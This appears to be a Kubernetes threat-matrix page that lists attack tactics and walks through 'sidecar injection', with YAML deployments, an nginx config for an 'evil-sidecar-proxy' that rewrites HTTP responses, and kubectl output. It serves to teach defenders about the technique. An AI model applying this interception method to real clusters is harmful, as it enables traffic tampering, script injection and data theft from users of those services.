Initial access Execution Persistence Privilege escalation Defense evasion Credential access Discovery Lateral movement Collection Impact
Using Cloud Exec into Container Backdoor Container Privileged Container Clear Container Logs List K8s secrets Access the K8s API server Access cloud resources Images from a private repository Data Destruction
Compromised images in registry bash/cmd in container Writable hostPath mount Cluster-admin binding Delete k8s events Mount service principal Access Kubelet API Container service account Ressource hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of Service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed sensitive interfaces SSH server running in inside container Disable Namespacing Access managed identity credentials Instance metadata API Writable volume mounts on the host
Sidecar injection Malicious admission controller CoreDNS poisoning
ARP poisoning and IP spoofing

Sidecar injection

A Kubernetes Pod is a group of one or more containers with shared storage and network resources. Sidecar container is a term that is used to describe an additional container that resides alongside the main container. For example, service-mesh proxies are operating as sidecars in the applications’ pods. Attackers can run their code and hide their activity by injecting a sidecar container to a legitimate pod in the cluster instead of running their own separated pod in the cluster.

Example

We assume that there’s a very simple web server deployed in Kubernetes with the following deployment.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: simple-application
  labels:
    app: simple-application
spec:
  replicas: 1
  selector:
    matchLabels:
      app: simple-application
  template:
    metadata:
      labels:
        app: simple-application
    spec:
      containers:
      - name: application
        image: simple-application-image
        imagePullPolicy: Always
        ports:
        - containerPort: 80

The simple-application is written in Go and the following is it’s full source code stored (main.go):

package main

import (
  "fmt"
  "log"
  "net/http"
)

func rootHandler(w http.ResponseWriter, r *http.Request) {
  w.Header().Set("Content-Type", "text/html")
  w.WriteHeader(http.StatusOK)
  fmt.Fprintln(w, "Hello World!")
}

func main() {
  http.HandleFunc("/", rootHandler)
  log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}

The image can be built by using the following Dockerfile.

FROM golang:alpine as builder
RUN mkdir /build 
ADD . /build/
WORKDIR /build 
RUN GO111MODULE=off CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -ldflags '-extldflags "-static"' -o main .
FROM scratch
COPY --from=builder /build/main /app/
WORKDIR /app
CMD ["./main"]

An attacker could now extend the deployment my adding an additional container, move the open port to it and end up with the following.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: simple-application
  labels:
    app: simple-application
spec:
  replicas: 1
  selector:
    matchLabels:
      app: simple-application
  template:
    metadata:
      labels:
        app: simple-application
    spec:
      containers:
      - name: application
        image: nginx
        imagePullPolicy: Always
      - name: evil-sidecar-proxy
        image: evil-sidecar-proxy
        imagePullPolicy: Always
        ports:
        - containerPort: 80

The evil-sidecar-proxy is just a very simple nginx reverse proxy. The following is it’s full configuration (nginx.conf).

error_log /dev/stdout info;
events {
  worker_connections  4096;
}

http {
  include    mime.types;
  access_log /dev/stdout;

    server {
            listen 80 ;
            listen [::]:80 ;

            server_name _;

            location / {
                proxy_pass http://localhost:8080;
                sub_filter 'Hello World!'  'Hello Evil World!';
            }
    }
}

The Dockerfile is even simpler and just adding the custom configuration file.

FROM nginx:alpine
COPY nginx.conf /etc/nginx/

Using this deployment, the traffic to the simple-application is intercepted by the evil-sidecar-proxy and the later modifies the HTTP response. Like this an attacker could e.g. inject malicious JavaScript code or the proxy could also exfiltrate data that is transferred.

$ # Send HTTP request to the web server directly on it's local port 8080 (so no sidecar magic involved)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:8080
Hello World!

$ # Send HTTP request to the web server through the published port 80 (includes sidecar magic)
$ kubectl exec -it deployments/nginx-deployment -c sidecar-proxy -- curl localhost:80  
Hello Evil World!

References